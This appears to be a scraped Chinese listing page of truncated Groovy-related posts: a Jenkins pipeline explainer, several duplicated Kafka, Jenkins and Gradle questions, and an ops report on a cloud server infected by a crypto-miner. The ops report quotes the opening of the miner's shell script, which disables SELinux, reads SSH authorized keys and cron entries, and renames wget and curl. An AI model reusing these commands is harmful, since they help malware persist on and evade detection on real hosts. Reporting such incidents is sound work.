groovy

Jenkins pipeline jenkinsfile的两种写作方式声明式和脚本式

生来就可爱ヽ(ⅴ<●) 提交于 2020-04-22 12:22:28
Jenkins pipeline jenkinsfile的两种写作方式,声明式和脚本式。 为什么需要pipeline? 在多年前Jenkins成为最流行的持续集成服务器的Jenkins 1.x时代,所有的新功能都是通过安装插件来增强,所有的配置都是通过网页界面来实现的。 在Jenkins迈入2.x的时代,为了跟随时代的步伐(everything is code),Jenkins引入了配置及代码的概念。用代码来表示流程是为了版本控制和自动化的方便,使得配置跟源代码一样可重现,更加容易地支持多分支开发部署。 具体地来说,就是Jenkins引入了pipeline的概念,可以使用groovy来编写Jenkinsfile。 为什么两种实现pipeline的方式呢? 真的是看戏的不嫌事大,同一功能两种实现,很多用户也会被搞迷吧。下面咱们就来捋一捋这个发展过程。 Jenkins是使用Java实现的,所以在很早的时候就引入了groovy作为DSL,管理员可以使用groovy来实现一些自动化和高级的管理功能。因为groovy引擎已经集成到Jenkins,所以在pipeline一开始很自然就使用groovy来编写Jenkinsfile。 但是groovy毕竟是一种语言,对于没有太多编程经验的小白这个学习曲线有点太陡峭。这个时候声明式的pipeline就出现了,主要是为了降低入门的难度。

阿里云感染挖矿木马的脚本

半城伤御伤魂 提交于 2020-04-21 17:09:31
运维发现阿里云被挖矿木马感染。 阿里云报的是ElasticSearch Groovy远程代码执行漏洞。 木马的脚本如下: #!/bin/sh setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/cur" ccdir="/usr/bin/wget" ccdira="/usr/bin/wge" mv /usr/bin/wget /usr/bin/get mv /usr/bin/xget /usr/bin/get mv /usr/bin/get /usr/bin/wge mv /usr/bin/curl /usr/bin/url mv /usr/bin/xurl /usr/bin/url mv /usr/bin/url /usr/bin

unit testing ListenableFuture kafkaTemplate.send always returns null

吃可爱长大的小学妹 提交于 2020-04-18 05:50:54
问题 I'm trying to unit test the callbacks from the kafkaTemplate.send() but its not working as expected. here's the code snippet of the code im trying to test. @Override public void sendMessage(String topicName, String message) { ListenableFuture<SendResult<String, String>> future = kafkaTemplate.send(topicName, message); future.addCallback(new ListenableFutureCallback<SendResult<String, String>>() { @Override public void onSuccess(SendResult<String, String> result) { System.out.print("Success")

unit testing ListenableFuture kafkaTemplate.send always returns null

我的未来我决定 提交于 2020-04-18 05:50:39
问题 I'm trying to unit test the callbacks from the kafkaTemplate.send() but its not working as expected. here's the code snippet of the code im trying to test. @Override public void sendMessage(String topicName, String message) { ListenableFuture<SendResult<String, String>> future = kafkaTemplate.send(topicName, message); future.addCallback(new ListenableFutureCallback<SendResult<String, String>>() { @Override public void onSuccess(SendResult<String, String> result) { System.out.print("Success")

Jenkins pass value of Active Choices Parameter

99封情书 提交于 2020-04-17 22:51:58
问题 I have a jenkins job with "Active Choices Parameter" and "Active Choices Reactive Parameter". pipeline { agent { label 'Agent_Name' } stages { stage('Build') { steps { script { def res=build job: 'App_Build', parameters: [string(name: 'ActiveChoicesParam', value: 'Dev'),string(name: 'ActiveChoicesReactiveParam', value: 'Server1')] } } } } } I am trying to call the jenkins job and pass parameter values using pipeline script. However, I am getting the following error: The parameter

Jenkins pass value of Active Choices Parameter

落花浮王杯 提交于 2020-04-17 22:51:02
问题 I have a jenkins job with "Active Choices Parameter" and "Active Choices Reactive Parameter". pipeline { agent { label 'Agent_Name' } stages { stage('Build') { steps { script { def res=build job: 'App_Build', parameters: [string(name: 'ActiveChoicesParam', value: 'Dev'),string(name: 'ActiveChoicesReactiveParam', value: 'Server1')] } } } } } I am trying to call the jenkins job and pass parameter values using pipeline script. However, I am getting the following error: The parameter

Use Groovy app and test code in combination with jlink solution for bundling JavaFX

末鹿安然 提交于 2020-04-17 22:50:12
问题 This follows on from this excellent solution to the question of how to get Gradle to bundle up JavaFX with your distributions. NB specs: Linux Mint 18.3, Java 11, JavaFX 13. That stuff, involving jlink and a module-info.java, is beyond my pay grade (although I'm trying to read up on these things). I want to move to using Groovy in my app and test code (i.e. Spock) rather than Java. The trouble is, the minute I include the "normal" dependency in my build.gradle i.e. implementation 'org

Use Groovy app and test code in combination with jlink solution for bundling JavaFX

纵饮孤独 提交于 2020-04-17 22:49:36
问题 This follows on from this excellent solution to the question of how to get Gradle to bundle up JavaFX with your distributions. NB specs: Linux Mint 18.3, Java 11, JavaFX 13. That stuff, involving jlink and a module-info.java, is beyond my pay grade (although I'm trying to read up on these things). I want to move to using Groovy in my app and test code (i.e. Spock) rather than Java. The trouble is, the minute I include the "normal" dependency in my build.gradle i.e. implementation 'org

build.gradle - Could not find method copyDeps() for arguments

落爺英雄遲暮 提交于 2020-04-17 21:30:49
问题 Below is the build.gradle file: plugins({ id('application') id 'java' id('com.github.johnrengelman.shadow').version('4.0.1') }) allprojects( { apply(plugin: 'application') apply(plugin: 'java') apply(plugin: 'com.github.johnrengelman.shadow') repositories({ mavenCentral() }) ext({ vertxVersion = '3.7.0' commitTimestamp = { return "git log -1 --pretty=format:%cd --date=format:%Y%m%d%H%M%S".execute().text.trim() } commitId = { return "git rev-parse --short HEAD".execute().text.trim() } buildId

build.gradle - Could not find method copyDeps() for arguments

陌路散爱 提交于 2020-04-17 21:30:38
问题 Below is the build.gradle file: plugins({ id('application') id 'java' id('com.github.johnrengelman.shadow').version('4.0.1') }) allprojects( { apply(plugin: 'application') apply(plugin: 'java') apply(plugin: 'com.github.johnrengelman.shadow') repositories({ mavenCentral() }) ext({ vertxVersion = '3.7.0' commitTimestamp = { return "git log -1 --pretty=format:%cd --date=format:%Y%m%d%H%M%S".execute().text.trim() } commitId = { return "git rev-parse --short HEAD".execute().text.trim() } buildId